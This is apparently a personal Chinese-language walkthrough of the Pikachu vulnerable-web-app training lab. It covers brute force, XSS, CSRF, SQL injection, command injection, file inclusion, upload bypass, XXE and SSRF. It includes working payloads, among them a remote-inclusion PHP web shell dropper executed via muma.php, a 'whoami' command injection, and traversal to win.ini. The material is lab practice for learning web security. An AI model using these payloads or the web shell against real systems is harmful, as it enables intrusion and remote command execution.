pikachu靶场
今天传的是前一段时间打的pikachu靶场。
咱就是说,前一段时间,我的github被标记成机器人了。百度了一下,然后给那边发了封邮件,来来回回两次才总算弄好。我还不够勤快嘛,还把我标记了呜呜呜。
1、Burte Force(暴力破解)
1.1 基于表单的暴力破解
用burp暴力破解,截取到包,然后发送给Intruder(测试器),由于用户名和密码都不知道,所以攻击类型选择Clusterbomb(集中炸弹)模式。在payloads中分别载入用户名和密码的字典。
最后发现用户名为admin,密码为123456。

登录成功会出现如下提示:

1.2 验证码绕过(on server)
这题加了个验证码,同样,先使用burp拦截请求,这次先发送给Repeater(重发器)。先点击发送,在响应里面看到用户名或密码错误,再修改一下用户名或者密码,观察出现的结果。
如果结果是验证码错误,则验证码会刷新,就不能爆破。但结果若还是显示账户或密码错误,则表示验证码在某一段时间内不会刷新,因此可以使用暴力破解。

第二次发送时还是显示账户或密码错误,因此验证码短时间内不会刷新,可以使用暴力破解。

这时,就可以把请求内容发送给测试器,按照上面那题的做法暴力破解密码。
最后,发现用户名为admin,密码为123456

登录成功:

1.3 验证码绕过(on client)
在这里,验证码如果输入错误,则出现弹窗。即JavaScript验证验证码。直接用burp抓包,发送到重发器,将验证码删掉即可。

可以看到删掉之后,没有出现验证码错误,说明即使验证码会变,但可以直接删掉不验证:

所以直接爆破即可。
得到用户名为admin,密码为123456。
其实哦,我发现这题呀,虽然考察的是上面这种情况,但是在重发器里面即使不删掉验证码,也不会显示验证码错误,所以也可以直接爆破得到用户名和密码。
1.4 token防爆破
在抓取数据包时,发现多了个token:

在重发器中,发现token由响应包确定了,如果请求中没有带上正确的token,会显示csrf token error,因此无法验证账户密码的正确性。

但是,可以在响应包中发现有一个隐藏的表单,里面存放了下一次的token值。所以,我们需要每一次在发送请求包时要拿到上一个返回包的token值放到token包里面。

把包先发送到测试器,在position中将攻击类型选择Pitchfork(音叉),选择密码和token

在options中将线程数设为1(只有获取上一个请求返回的token值才能,做下一次请求,无法并发)

在Grep-Extract选项中添加参数,获取回复,选中token的值复制一下,然后点击ok。

在最下面找到always(总是)选项

回到payloads模块,正常添加第一个变量密码的字典。
第二个变量类型选择递归搜索(Recursive grep),在第一个请求有效负载中粘贴刚刚复制的token值。

开始攻击:

成功得到密码为123456。
2、Cross-Site Scripting(XSS跨站脚本漏洞)
2.1 反射型XSS(get)
输入好像受到了限制,点击submit,发现可以直接在url后面输入:
1 | <script>alert('xss')</script> |

成功出现弹窗:

也可以直接在前端将限制长度改大一点,这样就能输入payload了:

2.2 反射型XSS(post)
登录框不能出现xss弹窗,登录进去之后有个输入框,

构造payload,成功出现弹窗:

2.3 存储型XSS
看到一个留言板,构造payload:

成功出现弹窗:

因为是存储型XSS,所以只要点击submit,就会一直出现弹窗。
2.4 DOM型XSS
尝试构造payload,发现有个超链接,里面是不被允许访问,
查看一下网页代码元素:

发现我们构造的语句被放在一个超链接里面了,那我直接构造一个关于超链接的payload:
1 | javascript:alert(/xss/) |
即形成了:
1 | <a href=javascript:alert(/xss/)>xss</a> |
在输入框输入之后,再次点击那个超链接时,出现了弹窗:

2.5 DOM型XSS-X
在输入框中尝试,没有结果,下面出现一个超链接,点击一个又出现另一个超链接,于是我又查看一下代码,发现刚刚构造的语句出现在了第二个超链接里面:

跟上面的思路就差不多啦。我继续在输入框中输入:
1 | javascript:alert(/xss/) |
再次点击第二个超链接,成功出现弹窗:

2.6 XSS之盲打
盲打就是在一切可能的地方尽可能多的提交xss语句,然后看哪一条会被执行,就能获取管理员的cooike。
有两个输入框,于是我在两个输入框都放上payload,没有反应,在提示下登录后台查看(后台账号为admin,密码为123456),发现出现弹窗:

2.7 XSS之过滤
先尝试在输入框输入payload,发现没有反应,查看url地址栏:

发现可能是对某些特殊字符进行了过滤,那我换一个payload试试:
1 | <img src=111 onerror=alert('xss')> |
成功出现了弹窗:

其实还有很多,比如大小写绕过,构造payload:
1 | <sCRipt>alert('xss')</sCRipt> |

2.8 XSS之htmlspecialchars
又是在输入框尝试无果,出现了超链接,那就查看一下代码吧:

发现一些特殊字符被过滤掉啦,是时候又该搬出来我可以直接放在超链接里面的payload了:
1 | javascript:alert(/xss/) |
点击一下那个超链接,成功出现弹窗:

2.9 XSS之href输出
又是有超链接,这个套路我们前面已经用过啦,直接上payload:
1 | javascript:alert(/xss/) |
点击超链接,成功出现弹窗

2.10 XSS之js输出
在输入框中尝试,没有反应,看看提示,要我输入tmac,输入之后,出现一张图片,那我直接利用图片构造payload,也是前面提到过的:
直接把图片里面的src改成一个错误的,那这样它就会执行onerror啦。

成功出现弹窗:

3、CSRF(跨站请求伪造)
3.1 CSRF(get)
根据提示,随便登录一个账户,我选择了账户名为lili,密码为123456,进去之后,简单修改下信息,点击提交

用burp进行抓包分析:

发现后台没设置CSRF token,是通过get请求来提交修改信息的,可直接在url中修改。例如我将其中的地址改成china:
1 | http://192.168.56.1:8099/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18656565545&add=china&email=lili%40pikachu.com&submit=submit |
将此URL地址发送给被攻击者,如果被攻击者此时登录状态或cookie/session没有过期,点击时,地址就会被修改:

3.2 CSRF(post)
同样,先登录一个账号:

点击修改个人信息,用burp抓包:

如果是POST型的,所有参数在请求体中提交,我们不能通过伪造URL的方式进行攻击。
这种方法其实对于get和post请求都适用:
burp抓包之后,通过burp自带的csrf poc,复制url,当点击这个url时,信息就会被修改(这里修改的信息是将性别从boy改成girl)

点击那个按钮,信息将会被自动修改,证明存在csrf漏洞:

3.3 CSRF Token
同样,在修改信息时抓包,发现加入了token。
由于token值每次提交后都会失效,恶意攻击者抓到被攻击者的GET请求时里面的token已经失效了,所以网站也就没有执行GET请求的操作,CSRF也就防御成功。

4、SQL-Inject(SQL注入漏洞)
4.1 数字型注入(post)
本关为数字型注入,页面有一个下拉列表,不同的数字对应不同的值,这个数字这里可能存在注入。
任意选择一个数字,点击查询,用burp抓包,放到重发器,在数字后面输入单引号,发现有报错信息:

可以利用报错注入:
①获取数据库用户名
1 | payload: |
得到数据库用户名为root@localhost

②获得数据库名
1 | payload: |
得到数据库用户名为pikachu

③获得表名
1 | payload: |

因为updatexml只能获取32字节的内容,我用substr()函数获得后面的字节:

④获得字段名
由前面获取的表名,可以看出用户名的表为users
1 | payload: |
可以得到所有列名:

⑤获得用户名和密码
1 | payload: |

用substr()函数依次获得哈,密码应该是用md5加密了,可以丢到md5解密工具进行解密。
4.2 字符型注入(get)
可以看到页面有一个输入框,输入单引号报错,输入两个单引号不报错,存在注入:
获得数据库名:
1 | payload: |
可以看到数据库名

其他payload跟4.1大差不差,就不写了。
4.3 搜索型注入
这里也有个输入框,输入单引号报错,两个单引号不报错。
payload用4.2完全可以。
获得数据库用户名:
1 | payload: |

4.4 xx型注入
也是一个输入框,也是可以采用报错注入,只需要将4.2的payload的’改成’)即可。
例如:
1 | payload: |
4.5 “insert/update”注入
页面的两个输入框在多次尝试下无果,看了看标题,insert和update的注入,有个注册的信息,那就测试一下注册有没有注入吧。
①发现注册的输入框都有sql注入:
1 | payload: |

②注册一个用户,登录进去看看
里面有个修改个人信息,用burp抓包测试一下:
发现每个注册框也存在 sql注入,但前提条件是每个空都先要随便填点东西,不然不满足条件。
1 | payload: |

4.6 “delete”注入
页面有一个留言框,输入留言之后,会在下面显示输入的信息,有个delete可以删除留言,本关是delete注入,在点击delete的时候抓包,在id处发现注入。
1 | payload: |

4.7 “http header”注入
用admin/123456登录进去之后发现,记录了一些信息,用burp抓包,试试头部注入:
显示了ip,尝试将ip改成其他数字,发送,ip还是没变,可能不存在注入。
User-Agent和Accept显示了,改成其他的,变了。输入单引号,出现报错信息,这两处都存在注入。
1 | payload: |

4.8 盲注(base on boolian)
采用基于布尔型的盲注:
当字母正确时,可以出现正确的信息,错误时出现错误信息。
1 | payload: |

4.9 盲注(base on time)
本关采用基于时间的盲注:
当字母正确时,会出现延时,不正确时会直接返回错误信息。
1 | payload: |
4.10 宽字节注入
这里是因为’会被转义成',即%5c%27,所以使用%df可以变成%df%5c%27,前面两个字节变被认为是一个,剩下后面单独的一个单引号。
1 | payload: |
注意:这里是在burp里面实现的,直接在网页上输这个payload,%会被解析成%25,因此不能行。

5、RCE(远程命令/代码执行)
这里就是存在命令执行,有几个管道符需要区分一下:
1 | | 直接执行后面的语句,不管前面真假 |
5.1 exec”ping”
1 | 输入:127.0.0.1 | whoami |
因此,可以得到系统的一些敏感信息:

5.2 exec”evel”
1 | 输入phpinfo(); |
可以得到信息:

6、Files Inclusion(文件包含漏洞)
6.1 File Inclusion(local)
本地文件包含漏洞,可以查看一些系统的敏感信息。
在页面的下拉列表任意选择一个提交后,可以看到url中是显示了文件名称。
先将文件名称换成没有的编号,换成file6.php试试,耶?出现了一个隐藏文件耶。

好了,还是继续试试file7.php,看到出现了报错:

根据报错,可以看出include()函数包含的文件和fi_local.php在同一目录下,采用相对路径,使用尝试获取C:/windows/win.ini的敏感信息。
1 | 算出要使用相对路径C:/../../../../../../../windows/win.ini |

可以查看同目录下的phpinfo.php文件。
D:\phpStudy\PHPTutorial\WWW\phpinfo.php
1 | 根据报错信息,算出要使用相对路径../../../../phpinfo.php |

6.2 File Inclusion(remote)
远程文件包含漏洞,攻击者可以传入任意代码。
6.1的本地包含的payload都适用于本关的远程文件包含。而且可以使用绝对路径。
可以上传远程文件:
现在自己的服务器上写好一个55.txt:
1 | <?php fputs(fopen('muma.php','w'),'<?php system($_GET["pass"]);?>');?> |
访问远程地址为:http://192.168.56.1:8099/55.txt
此时muma.php已经上传到后台服务器文件夹的同级目录下了:

此时可以访问文件名和执行参数:
1 | http://192.168.56.1:8099/pikachu/vul/fileinclude/muma.php?pass=ipconfig&submit=%E6%8F%90%E4%BA%A4 |

7、Unsafe file downloads(不安全的文件下载)
复制图片下载地址,修改文件路径,尝试获取敏感信息。
1 | filename=../../../../phpinfo.php |

8、Unsafe file uploads(不安全的文件上传)
8.1 client check(客户端检查)
先尝试上传php文件, 会发现客户端弹出了一个弹框,本关应该就是绕过前端js验证即可。
先上传一张正常的2.jpg图片,然后用burp抓包,将2.jpg修改成2.php,将内容修改为想要添加的php代码,看到已经成功上传:

此时可以访问刚刚上传的php文件:

8.2 MIME type(服务端检查)
先上传一个2.php,然后用burp抓包,可以看到这里显示了content-type,那将它改成允许的,如image/jpg即可。

可以看到此时,2.php已经成功上传:

并且显示了文件的路径,此时可以访问文件:

8.3 getimagesize
本关记得把php.ini中的date.timezone打开:

然后因为本关设置了白名单,所以采用图片马和文件包含漏洞。
1 | 制作图片马: |

将包含恶意代码的3.jpg上传,上传成功且可以看到文件路径:

1 | http://192.168.56.1:8099/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2022/04/15/370534625966c9515b2413576391.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 |
成功访问到刚刚上传的3.php:

9、Over Permission(越权漏洞)
9.1 水平越权
水平越权:指相同权限下不同的用户可以互相访问。
查看提示,这里有lucy,lili,kobe三个用户。
任意登录一个账号,查看个人信息:

可以直接尝试改上面的username,来切换成其他用户。
如这里改成lili,则会直接出现lili的具体信息:

9.2 垂直越权
垂直越权:是不同级别之间或不同角色之间的越权,一般是低权限用户往高权限越权。
这里有两个用户,管理员:admin/123456,普通用户:pikuchu/000000
分别登录两个账号查看,发现admin有添加用户的的权限,而pikachu只有查看的权限。
接下来的越权就是用pikachu的账号来越权实现添加用户:
首先登录admin的账号,在创建账户页面,点击创建并用burp抓包。

将包发送到重发器,然后丢弃包,并且将admin退出登录。
此时登录普通用户pikachu,查看用户信息,刚刚的用户zzztt没有被添加。

我们将pikachu页面的cookie复制,在重放器里将原来admin的cookie改成pikachu的,并点击发送页面:

此时,再次登录pikachu的账户,发现新账户zzztt添加成功:

10、../../../(目录遍历)
删掉url中的dir_list.php,可以看到整个目录,想访问哪个点进去就可以:

还可以通过../访问到相应目录:

11、I can see your ABC(敏感信息泄露)
在页面源码中直接泄露了测试账号:

利用lili/123456可以登录成功:

看到上面图片的目录,退出登录,在不登录的情况下,可以直接访问目录成功
1 | http://192.168.56.1:8099/pikachu/vul/infoleak/abc.php |
12、PHP反序列化漏洞
浅浅地说一下,可以先看一下基本的序列化和反序列化的语法。
1 | payload: |
此时会弹出弹窗:

13、XXE(XML External Entity attack)
xxe,即xml外部实体注入漏洞。
先提交一个正常的xml格式:
1 | <?xml version="1.0" encoding="UTF-8" ?> |
xml被解析了:

利用外部实体,获取系统敏感信息:
1 | <?xml version="1.0"?> |

14、不安全的URL重定向
在页面中点击最后一句话时,可以看倒url中出现了url=i的参数,尝试将i改成其他的url,看能否实现跳转。
1 | 例如:url=https://www.baidu.com |
然后就会跳转到百度的界面:

15、SSRF(Server-Side Request Forgery)
SSRF,即服务器端请求伪造。
15.1 SSRF(curl)
验证是否存在ssrf漏洞,利用dnslog平台:
1 | url=https://5gl0rh.dnslog.cn |

得到响应,即存在ssrf漏洞:

发现是通过url请求资源,ssrf支持很多协议:
①http://
1 | 将地址跳转到百度: |

1 | 内网端口探测(通过返回时间和长度判断端口的开放): |

②dict://
1 | 内网端口探测(可探测到具体的版本号): |

③file://
1 | 读取文件: |

④gopher://
1 | 内网端口探测: |

15.2 SSRF(file_get_content)
本关是采用file_get_contents函数进行文件的读取执行,file_get_contents可以对本地文件进行读取,也可以对远程文件进行读取。
利用dnslog平台验证是否存在ssrf漏洞:
1 | url=http://6lyrgu.dnslog.cn |
存在回显,说明存在ssrf漏洞:

①http://
1 | 将地址跳转到百度: |

②file://
1 | 读取文件: |

③php://
1 | 读取后台的php源码: |
